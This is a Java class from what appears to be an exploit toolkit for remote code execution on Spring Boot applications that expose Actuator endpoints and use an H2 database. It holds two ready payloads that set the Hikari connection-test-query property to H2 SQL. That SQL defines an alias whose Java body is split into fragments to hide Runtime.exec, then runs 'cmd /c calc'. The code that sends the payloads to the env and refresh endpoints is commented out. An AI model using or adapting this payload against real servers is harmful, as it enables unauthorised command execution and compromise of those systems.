package com.drops.exp;

import com.drops.exp.util.EnvPost;
import com.drops.exp.util.H2DatabaseUtil;
import com.drops.exp.util.RefreshPost;

/**
 * @ClassName: RestartH2DatabaseQueryRCEEXP
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/7/30 9:47
 * @Version: v1.0.0
 * @Description:
 **/
public class RestartH2DatabaseQueryRCEEXP {

    public static boolean hasRestartH2DatabaseQueryRCE(String target,boolean version) {
        String property1 = "spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');";
        String property2 = "{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');\"}";

//        if (version) {
//            if (EnvPost.isPostEnv(target)) {
//                if (EnvPost.PostEnv(target, property1)) {
//                    if (RefreshPost.isRefreshPost(target)) {
//                        return true;
//                    }
//                }
//            }
//        } else {
//            if (H2DatabaseUtil.hasH2Database(target,version)){
//                if (EnvPost.isPostEnvV2(target)) {
//                    if (EnvPost.PostEnvV2(target, property2)) {
//                        if (RefreshPost.isRefreshPostV2(target)) {
//                            return true;
//                        }
//                    }
//                }
//            }
//        }

        return false;
    }

}
